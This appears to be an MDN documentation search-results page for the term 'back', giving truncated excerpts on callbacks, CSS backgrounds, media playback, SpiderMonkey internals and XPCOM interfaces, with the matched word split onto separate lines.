back added in spidermonkey 17 js_newcompartmentandglobalobject added in spidermonkey 1.8.1 obsolete since jsapi 16 js_entercrosscompartmentcall added in spidermonkey 1.8.1 obsolete since jsapi 18 js_leavecrosscompartmentcall added in spidermonkey 1.8.1 obsolete since jsapi 18 locale call
backs: struct jslocalecall
backs js_getlocalecall...
...And 12 more matches
HTMLMediaElement.play() - Web APIs
the htmlmediaelement play() method attempts to begin play
back of the media.
... it returns a promise which is resolved when play
back has been successfully started.
... failure to begin play
back for any reason, such as permission issues, result in the promise being rejected.
...And 12 more matches
KeyboardEvent: code values - Web APIs
"digit2" "digit2" 0x0005 "digit3" "digit3" 0x0006 "digit4" "digit4" 0x0007 "digit5" "digit5" 0x0008 "digit6" "digit6" 0x0009 "digit7" "digit7" 0x000a "digit8" "digit8" 0x000b "digit9" "digit9" 0x000c "minus" "minus" 0x000d "equal" "equal" 0x000e "
backspace" "
backspace" 0x000f "tab" "tab" 0x0010 "keyq" "keyq" 0x0011 "keyw" "keyw" 0x0012 "keye" "keye" 0x0013 "keyr" "keyr" 0x0014 "keyt" "keyt" 0x0015 "keyy" "keyy" 0x0016 "keyu" "keyu" 0x0017 "keyi" "keyi" 0x0018 "keyo" "keyo" 0x0019 "...
... "keya" 0x001f "keys" "keys" 0x0020 "keyd" "keyd" 0x0021 "keyf" "keyf" 0x0022 "keyg" "keyg" 0x0023 "keyh" "keyh" 0x0024 "keyj" "keyj" 0x0025 "keyk" "keyk" 0x0026 "keyl" "keyl" 0x0027 "semicolon" "semicolon" 0x0028 "quote" "quote" 0x0029 "
backquote" "
backquote" 0x002a "shiftleft" "shiftleft" 0x002b "
backslash" "
backslash" 0x002c "keyz" "keyz" 0x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "comma" "com...
... 0x004e "numpadadd" "numpadadd" 0x004f "numpad1" "numpad1" 0x0050 "numpad2" "numpad2" 0x0051 "numpad3" "numpad3" 0x0052 "numpad0" "numpad0" 0x0053 "numpaddecimal" "numpaddecimal" 0x0054 (alt + printscreen) "printscreen" "" 0x0055 "unidentified" "" 0x0056 "intl
backslash" "intl
backslash" 0x0057 "f11" "f11" 0x0058 "f12" "f12" 0x0059 "numpadequal" "" 0x005a "unidentified" "" 0x005b "unidentified" "f13" 0x005c "unidentified" "f14" 0x005d "unidentified" "f15" 0x005e "unidentified" "" 0x00...
...And 12 more matches
MediaSession.setActionHandler() - Web APIs
syntax navigator.mediasession.setactionhandler(type, call
back) parameters type a domstring representing an action type to listen for.
... it will be one of play, pause, seek
backward, seekforward, seekto, skipad,previoustrack, or nexttrack.
... call
back a function to call when the specified action type is invoked.
...And 12 more matches
MediaSessionActionDetails - Web APIs
the media session api's mediasessionactiondetails dictionary is the type used by the sole input parameter into the call
back which is executed when a media session action occurs.
... seekoffset optional if the action is either seekforward or seek
backward and this property is present, it is a floating point value which indicates the number of seconds to move the play position forward or
backward.
... if this property isn't present, those actions should choose a reasonable default distance to skip forward or
backward (such as 7 or 10 seconds).
...And 12 more matches
Using the Web Animations API - Web APIs
the web animations api lets us construct animations and control their play
back with javascript.
...we no longer need to rely on dom-heavy techniques such as writing css properties and scoping classes onto elements to control play
back direction.
... the css version here’s a tumbling animation written in css showing alice falling down the rabbit hole that leads to wonderland (see the full code on codepen): notice that the
background moves, alice spins, and her color changes at an offset from her spinning.
...And 12 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
as mentioned earlier, you use the custom property value by specifying your custom property name inside the var() function, in place of a regular property value: element {
background-color: var(--main-bg-color); } first steps with custom properties let's start with this simple css that applies the same color to elements of different classes: .one { color: white;
background-color: brown; margin: 10px; width: 50px; height: 50px; display: inline-block; } .two { color: white;
background-color: black; margin: 10px; width: 150px; height: 70px; di...
...splay: inline-block; } .three { color: white;
background-color: brown; margin: 10px; width: 75px; } .four { color: white;
background-color: brown; margin: 10px; width: 100px; } .five {
background-color: brown; } we'll apply it to this html: <div> <div class="one">1:</div> <div class="two">2: text <span class="five">5 - more text</span></div> <input class="three"> <textarea class="four">4: lorem ipsum</textarea> </div> ...
...the
background color is set to brown in several places.
...And 12 more matches
Event reference
ended play
back has stopped because the end of the media was reached.
... pause play
back has been paused.
... play play
back has begun.
...And 12 more matches
Array.prototype.forEach() - JavaScript
syntax arr.foreach(call
back(currentvalue [, index [, array]])[, thisarg]) parameters call
back function to execute on each element.
... thisarg optional value to use as this when executing call
back.
... description foreach() calls a provided call
back function once for each element in an array in ascending order.
...And 12 more matches
Using custom elements - Web Components
it is possible to define specific lifecycle call
backs inside the class, which run at specific points in the element's lifecycle.
... for example, connectedcall
back is invoked each time the custom element is appended into a document-connected element, while attributechangedcall
back is invoked when one of the custom element's attributes is added, removed, or changed.
... you'll learn more about these in the using the lifecycle call
backs section below.
...And 12 more matches
tabbrowser - Archive of obsolete content
attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cango
back, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratind...
...ex, getbrowserindexfordocument, getbrowserfordocument, getbrowserfortab, geticon, getnotificationbox, gettabforbrowser, gettabmodalpromptbox, go
back, go
backgroup, goforward, goforwardgroup, gohome, gotoindex, loadgroup, loadonetab, loadtabs, loaduri, loaduriwithflags, movetabto, pintab, reload, reloadalltabs, reloadtab, reloadwithflags, removealltabsbut, removecurrenttab, removeprogresslistener, removetab, removetabsprogresslistener,replacegroup, selecttabatindex, seticon, showonlythesetabs, stop, unpintab attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields.
... cango
back type: boolean this read-only property is true if there is a page to go
back to in the session history and the
back button should be enabled.
...And 11 more matches
Anatomy of a video game - Game development
building a main loop in javascript javascript works best with events and call
back functions.
... a call
back function must be passed in to it when it is called.
... that call
back function will be executed at a suitable time before the next repaint.
...And 11 more matches
Introduction to events - Learn web development
in the following example, we have a single <button>, which when pressed, makes the
background change to a random color: <button>change color</button> button { margin: 10px }; the javascript looks like so: const btn = document.queryselector('button'); function random(number) { return math.floor(math.random() * (number+1)); } btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.
backgroundcolor =...
...we are listening for the click event firing, by setting the onclick event handler property to equal an anonymous function containing code that generates a random rgb color and sets the <body>
background-color equal to it.
...returning to the above example: const btn = document.queryselector('button'); btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.
backgroundcolor = rndcol; } the onclick property is the event handler property being used in this situation.
...And 11 more matches
React interactivity: Events and state - Learn web development
it should end up looking something like this: function handlesubmit(e) { e.preventdefault(); alert('hello, world!'); } to use this function, add an onsubmit attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head
back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there.
... call
back props in react applications, interactivity is rarely confined to just one component: events that happen in one component will affect other parts of the app.
...this function-as-a-prop is called a call
back prop.
...And 11 more matches
Necko walkthrough
but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response call
back...) channel->asyncopen.
... receive response get a call
back to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
... dispatches the nsconnevent to the socket thread
back to the context of nshttpchannel::continueconnect: nsinputstreampump->asyncread this pump calls nsiasyncinputstream::asyncwait (the input for the response stream pipe created with the nshttptransaction, i.e.
...And 11 more matches
Hacking Tips
printing the js stack (from gdb) in jsobj.cpp, a function named js::dump
backtrace prints a
backtrace à la gdb for the js stack.
... the
backtrace contains in the following order, the stack depth, the interpreter frame pointer (see js/src/vm/stack.h, stackframe class) or (nil) if compiled with ionmonkey, the file and line number of the call location and under parentheses, the jsscript pointer and the jsbytecode pointer (pc) executed.
... $ gdb --args js […] (gdb) b js::reportoverrecursed (gdb) r js> function f(i) { if (i % 2) f(i + 1); else f(i + 3); } js> f(0) breakpoint 1, js::reportoverrecursed (maybecx=0xfdca70) at /home/nicolas/mozilla/ionmonkey/js/src/jscntxt.cpp:495 495 if (maybecx) (gdb) call js::dump
backtrace(maybecx) #0 (nil) typein:2 (0x7fffef1231c0 @ 0) #1 (nil) typein:2 (0x7fffef1231c0 @ 24) #2 (nil) typein:3 (0x7fffef1231c0 @ 47) #3 (nil) typein:2 (0x7fffef1231c0 @ 24) #4 (nil) typein:3 (0x7fffef1231c0 @ 47) […] #25157 0x7fffefbbc250 typein:2 (0x7fffef1231c0 @ 24) #25158 0x7fffefbbc1c8 typein:3 (0x7fffef1231c0 @ 47) #25159 0x7fffefbbc140 typein:2 (0x7fffef1231c0 @ 24) #25160 0x7fffefbbc0b8 typein:3 (0x7fffef1231c0 @ 47) #25161 0x7ff...
...And 11 more matches
JSAPI User Guide
static jsclass globalclass = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; // the error reporter call
back.
...jsapi functions never throw c++ exceptions, and when spidermonkey calls an application call
back, the call
back must not throw a c++ exception.
... uncatchable errors another way for a jsnative call
back to report an error is like this: if (!p) { js_reportoutofmemory(cx); return false; } this does something subtly different from what js_reporterror does.
...And 11 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
javascript promises and the mutation observer api both use the microtask queue to run their call
backs, but there are other times when the ability to defer work until the current event loop pass is wrapping up.
... tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event call
back being run, or an interval or timeout being fired.
... an event fires, adding the event's call
back function to the task queue.
...And 11 more matches
element() - CSS: Cascading Style Sheets
a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a
background.
... on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the
background for a given css
background element.
... syntax element(id) where: id the id of an element to use as the
background, specified using the html attribute #id on the element.
...And 11 more matches
Using the application cache - HTML: Hypertext Markup Language
this is done in the
background and does not affect performance significantly.
...http://www.example.com/index.html http://www.example.com/header.png http://www.example.com/blah/blah a cache manifest file can include three sections (cache, network, and fall
back, discussed below).
... sections in a cache manifest file: cache, network, and fall
back a manifest can have three distinct sections: cache, network, and fall
back.
...And 11 more matches
Array.prototype.reduce() - JavaScript
syntax arr.reduce(call
back( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters call
back a function to execute on each element in the array (except for the first, if no initialvalue is supplied).
... it takes four arguments: accumulator the accumulator accumulates call
back's return values.
... it is the accumulated value previously returned in the last invocation of the call
back—or initialvalue, if it was supplied (see below).
...And 11 more matches
Web audio codec guide - Web media technologies
noise / hiss unwanted
background noise or hiss tends to reduce audio quality both directly (by masking details of the foreground audio) and indirectly (by making the audio waveform more complicated and therefore difficult to reduce in size while maintaining precision).
... hiss, static, or
background noise increases the audio complexity, which generally reduces the amount of compression which is possible.
...for real-time streaming of audio, a lossy codec is usually required in order to ensure the flow of data can keep up with the audio play
back rate regardless of network performance.
...And 11 more matches
passwords - Archive of obsolete content
authentication with a response code like this: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" the corresponding values for the credential (excluding username and password) should be: url: "http://www.example.com" realm: "exampleco login" oncomplete and onerror this api is explicitly asynchronous, so all its functions take two call
back functions as additional options: oncomplete and onerror.
...credentials which match all the properties you supplied are returned as an argument to the oncomplete call
back.
...passwords").search({ url: require("sdk/self").uri, oncomplete: function oncomplete(credentials) { credentials.foreach(function(credential) { console.log(credential.username); console.log(credential.password); }); } }); } parameters options : object required options: name type oncomplete function the call
back function that is called once the function completes successfully.
...And 10 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/search-bar-
background-mid.png new file; the
background for the middle part of the search bar.
... browser/search-bar-
background.png removed file.
... browser/search-provider-bkgnd-rtl.png new file; the
background drawn behind the search provider icon when it's located at the left end of the search bar.
...And 10 more matches
Advanced styling effects - Learn web development
first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px;
background-color: red;
background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or lef...
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px;
background-color: red;
background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black; } now we get this result: we've done something fun here by creating a raised box with m...
... first, we'll go with some different html for this example: <button>press me!</button> button { width: 150px; font-size: 1.1rem; line-height: 2; border-radius: 10px; border: none;
background-image: linear-gradient(to bottom right, #777, #ddd); box-shadow: 1px 1px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), inset -2px -3px 5px rgba(255,255,255,0.5); } button:focus, button:hover {
background-image: linear-gradient(to bottom right, #888, #eee); } button:active { box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0,0,0,0.
...And 10 more matches
Positioning - Learn web development
</p> now add the following rule to the bottom of your css: .positioned { position: static;
background: yellow; } if you now save and refresh, you'll see no difference at all, except for the updated
background color of the 2nd paragraph.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: relative;
background: yellow; top: 30px; left: 30px; } cool, huh?
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: absolute;
background: yellow; top: 30px; left: 30px; } first of all, note that the gap where the positioned element should be in the document flow is no longer there — the first and third elements have closed together like it no l...
...And 10 more matches
Styling links - Learn web development
this is because if the real links were included, clicking on them would break the examples (you'd end up with an error, or a page loaded in the embedded example that you couldn't get
back from.) # just links to the current page.
... around them — you should be able to focus on the links on this page with the keyboard by pressing the tab key (on mac, you'll need to use option + tab, or enable the full keyboard access: all controls option by pressing ctrl + f7.) active links are red (try holding down the mouse button on the link as you click it.) interestingly enough, these default styles are nearly the same as they were
back in the early days of browsers in the mid-1990s.
... outline for the text outline (an outline is similar to a border, the only difference being that border takes up space in the box and an outline doesn't; it just sits over the top of the
background).
...And 10 more matches
Client-side form validation - Learn web development
if it gets to the server and is then rejected, a noticeable delay is caused by a round trip to the server and then
back to the client-side to tell the user to fix their data.
... go to any popular site with a registration form, and you will notice that they provide feed
back when you don't enter your data in the format they are expecting.
...(required)</label> <input id="choose" name="i_like" required> <button>submit</button> </form> note the css that is included in the example file: input:invalid { border: 2px dashed red; } input:invalid:required {
background-image: linear-gradient(to right, pink, lightgreen); } input:valid { border: 2px solid black; } this css causes the input to have a red dashed border when it is invalid and a more subtle solid black border when valid.
...And 10 more matches
Images in HTML - Learn web development
in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css
background images.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css
background images.
...you should use css
background images for decorative images, but if you must use html, add a blank alt="".
...And 10 more matches
Graceful asynchronous programming with Promises - Learn web development
the trouble with call
backs to fully understand why promises are a good thing, it helps to think
back to old-style call
backs and to appreciate why they are problematic.
... with old-style call
backs, a pseudo-code representation of the above functionality might look something like this: choosetoppings(function(toppings) { placeorder(toppings, function(order) { collectorder(order, function(pizza) { eatpizza(pizza); }, failurecall
back); }, failurecall
back); }, failurecall
back); this is messy and hard to read (often referred to as "call
back hell"), requires the failurecallb...
...if we represented the above pseudo-code using asynchronous promises instead, we'd end up with something like this: choosetoppings() .then(function(toppings) { return placeorder(toppings); }) .then(function(order) { return collectorder(order); }) .then(function(pizza) { eatpizza(pizza); }) .catch(failurecall
back); this is much better — it is easier to see what is going on, we only need a single .catch() block to handle all the errors, it doesn't block the main thread (so we can keep playing video games while we wait for the pizza to be ready to collect), and each operation is guaranteed to wait for previous operations to complete before running.
...And 10 more matches
Performance best practices for Firefox front-end engineers
use requestidlecall
back() if you simply cannot avoid doing some kind of long job on the main thread, try to break it up into smaller pieces that you can run when the browser has a free moment to spare, and the user isn't doing anything.
... you can do that using requestidlecall
back() and the cooperative scheduling of
background tasks api, and doing it only when we have a free second where presumably the user isn’t doing something.
... see also the blog post collective scheduling with requestidlecall
back.
...And 10 more matches
Python binding for NSS
examples of this are the various call
backs which can be set and their parameters.
... thus each thread gets it own set of call
backs.
... ssl.tls_dh_anon_with_rc4_128_md5 ssl.tls_ecdhe_ecdsa_with_aes_128_cbc_sha256 ssl.tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 ssl.tls_ecdhe_rsa_with_aes_128_cbc_sha256 ssl.tls_ecdhe_rsa_with_aes_128_gcm_sha256 ssl.tls_ecdh_ecdsa_with_aes_128_gcm_sha256 ssl.tls_ecdh_rsa_with_aes_128_gcm_sha256 ssl.tls_empty_renegotiation_info_scsv ssl.tls_fall
back_scsv ssl.tls_null_with_null_null ssl.tls_rsa_export_with_des40_cbc_sha ssl.tls_rsa_export_with_rc2_cbc_40_md5 ssl.tls_rsa_export_with_rc4_40_md5 ssl.tls_rsa_with_3des_ede_cbc_sha ssl.tls_rsa_with_aes_128_cbc_sha256 ssl.tls_rsa_with_aes_128_gcm_sha256 ssl.tls_rsa_with_aes_256_cbc_sha256 ssl.tls_rsa_with_camellia_128_cbc_sha ssl.
...And 10 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
syntax filesystemdirectoryentry.getdirectory([path][, options][, successcall
back][, errorcall
back]); parameters path optional a usvstring representing an absolute path or a path relative to the directory on which the method is called, describing which directory entry to return.
... successcall
back optional a method to be called once the filesystemdirectoryentry has been created.
... errorcall
back optional a method to be called if an error occurs.
...And 10 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
syntax filesystemdirectoryentry.getfile([path][, options][, successcall
back][, errorcall
back]); parameters path optional a usvstring specifying the path, relative to the directory on which the method is called, describing which file's entry to return.
... successcall
back optional a method to be called once the filesystemfileentry has been created.
... errorcall
back optional a method to be called if an error occurs.
...And 10 more matches
Using IndexedDB - Web APIs
now, assuming that the user allowed your request to create a database, and you've received a success event to trigger the success call
back; what's next?
...when the request is finished you'll get a dom event and, assuming that the request succeeded, you'll have another opportunity to extend the transaction during that call
back.
...unless you handle the error by first calling stoppropagation() on the error event then doing something else, the entire transaction is rolled
back.
...And 10 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
other problems occur when a piece of static text which has the same color
background, which will cause that text to be repeated each time the focus or highlight moves.
...instead, we hand
back a 32 bit value derived from the ui object's pointer, which is unique.
... we ensure that the value we hand
back is always negative.
...And 10 more matches
filter - CSS: Cascading Style Sheets
filters are commonly used to adjust the rendering of images,
backgrounds, and borders.
...eight:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px;
background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%"...
...th:100%; height:auto; -moz-filter:brightness(2); -webkit-filter:brightness(2); -ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px;
background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } contrast() the contrast() function adjusts the contrast of the input image.
...And 10 more matches
Index - HTTP
the apis that are restricted are: 33 csp: default-src csp, directive, http, reference, security the http content-security-policy (csp) default-src directive serves as a fall
back for the other csp fetch directives.
...when this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' call
backs to be invoked with a positionerror code of permission_denied.
...for get and head methods, the server will send
back the requested resource only if it matches one of the listed etags.
...And 10 more matches
io/text-streams - Archive of obsolete content
extreader.read(); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text from a
backing stream using a given text encoding.
... parameters inputstream : stream the
backing stream, an nsiinputstream.
... textwriter(outputstream, charset) creates a buffered output stream that writes text to a
backing stream using a given text encoding.
...And 9 more matches
StringView - Archive of obsolete content
uboffset) - nrawsuboffset : 0; } else { nrawsuboffset = nsuboffset; nrawsublen = nsublen; } if (this.encoding === "utf-16") { nrawsuboffset <<= 1; } else if (this.encoding === "utf-32") { nrawsuboffset <<= 2; } return new stringview(this.buffer, this.encoding, this.rawdata.byteoffset + nrawsuboffset, nrawsublen); }; stringview.prototype.foreachchar = function (fcall
back, othat, nchroffset, nchrlen) { var asource = this.rawdata, nrawend, nrawidx; if (this.encoding === "utf-8" || this.encoding === "utf-16") { var fgetinptchrsize, fgetinptchrcode; if (this.encoding === "utf-8") { fgetinptchrsize = stringview.getutf8charlength; fgetinptchrcode = stringview.loadutf8charcode; } else if (this.encoding === "utf-16") { fgetinptchrsiz...
...this.makeindex(nchrlen, nrawidx) : asource.length; for (var nchrcode, nchridx = 0; nrawidx < nrawend; nchridx++) { nchrcode = fgetinptchrcode(asource, nrawidx); if (!othat) { fcall
back(nchrcode, nchridx, nrawidx, asource); } else { fcall
back.call(othat, nchrcode, nchridx, nrawidx, asource); } nrawidx += fgetinptchrsize(nchrcode); } } else { nrawidx = isfinite(nchroffset) ?
...nchrlen + nrawidx : asource.length; for (nrawidx; nrawidx < nrawend; nrawidx++) { if (!othat) { fcall
back(asource[nrawidx], nrawidx, nrawidx, asource); } else { fcall
back.call(othat, asource[nrawidx], nrawidx, nrawidx, asource); } } } }; stringview.prototype.valueof = stringview.prototype.tostring = function () { if (this.encoding !== "utf-8" && this.encoding !== "utf-16") { /* ascii, utf-32 or binarystring to domstring */ return string.fromcharcode.apply(null, this.rawdata); } var fgetcode, fgetincr, sview = ""; if (this.encoding === "utf-8") { fgetincr = stringview.getutf8charlength; fgetcode = stringview.loadutf8charcode; } else if (this.encoding === "utf-16") { ...
...And 9 more matches
Tabbed browser - Archive of obsolete content
openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in
background if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...if you don't want do anything when frames/iframes // are loaded in this web page, uncomment the following line: // return; // find the root document: win = win.top; } } } // do not try to add a call
back until the browser window has // been initialised.
... we add a call
back to the tabbed browser // when the browser's window gets loaded.
...And 9 more matches
CSS3 - Archive of obsolete content
this was due to the fact that a few secondary features held
back the whole specification.
...some modules, like selectors 4 or css borders and
backgrounds level 4 already have an editor's draft, though they haven't yet reached the first published working draft status.
... the control of the aspect ratio to use when fall
back fonts are selected via the css font-size-adjust property.
...And 9 more matches
Drawing graphics - Learn web development
graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first via the <img> element and later via css properties such as
background-image, and svg.
... inside the canvas tags, you can put some fall
back content, which is shown if the user's browser doesn't support canvas.
...in a real example you'd want to relate the fall
back content to the canvas content.
...And 9 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
back over in todos.svelte, we are going to import our moreactions component and create two functions to handle the events emitted by the moreactions component.
...emovecompletedtodos = () => todos = todos.filter(t => !t.completed) now go to the bottom of the todos.svelte markup section and replace the btn-group <div> that we copied into moreactions.svelte with a call to the moreactions component, like so: <!-- moreactions --> <moreactions on:checkall={e => checkalltodos(e.detail)} on:removecompleted={removecompletedtodos} /> ok, let's go
back into the app and try it out!
... update your existing checkalltodos() function to the following: const checkalltodos = (completed) => { todos.foreach(t => t.completed = completed) console.log('todos', todos) } go
back to your browser, open your devtools console, and click check all/uncheck all a few times.
...And 9 more matches
source-editor.jsm
method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acall
back); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acall
back); void removeeventlistener(string aeventtype, function acall
back); undo stack operations boolean ...
... void addeventlistener( string aeventtype, function acall
back ); parameters aeventtype the name of the event type to listen for; see event name constants for possible values.
... acall
back the function to call when the specified event occurs.
...And 9 more matches
XPCOM array guide
for example: // handlelist cannot modify the array because of const void handlelist(const nstarray<t>&); in-place enumeration most of the arrays presented here provide call
back-style means to enumerate members of an array.
... instead of incrementally accessing each element of the array by its index, the arrays provide a way to pass in a call
back function that will be called for each element in the array.
... for most concrete c++ classes like nstarray<t> and nscomarray<t>, indexing should be faster than the call
back-style enumeration, because accessing an indexed member of such an array is usually very fast, while enumeration has slight function call overhead.
...And 9 more matches
nsITextInputProcessor
createinstance(components.interfaces.nsitextinputprocessor); next, you need to get the rights to create composition or dispatch keyboard events with begininputtransaction() or begininputtransactionfortests(): if (!tip.begininputtransaction(window, call
back)) { return; } if begininputtransaction() or begininputtransactionfortests() returns false, it means that another instance of nsitextinputprocessor has composition on the window or is dispatching an event.
... the second argument, call
back, should be an object which implements nsitextinputprocessorcall
back or just a function which is the same as nsitextinputprocessorcall
back.onnotify().
... see the document of nsitextinputprocessorcall
back for the detail.
...And 9 more matches
XPCOM Interface Reference
component; nsiprefbranchextensionmanager (toolkit)iaccessible2iaccessibleactioniaccessibleapplicationiaccessiblecomponentiaccessibleeditabletextiaccessiblehyperlinkiaccessiblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcall
backamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcall
backmozispellc...
...heckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncall
backmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcall
backmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocall
backmozivisitstatuscall
backnsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventn...
...valuensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotationservicensiappshellnsiappshellservicensiappstartupnsiappstartup_mozilla_2_0nsiapplicationcachensiapplicationcachechannelnsiapplicationcachecontainernsiapplicationcachenamespacensiapplicationcacheservicensiapplicationupdateservicensiarraynsiasyncinputstreamnsiasyncoutputstreamnsiasyncstreamcopiernsiasyncverifyredirectcall
backnsiauthinformationnsiauthmodulensiauthpromptnsiauthprompt2nsiauthpromptadapterfactorynsiauthpromptcall
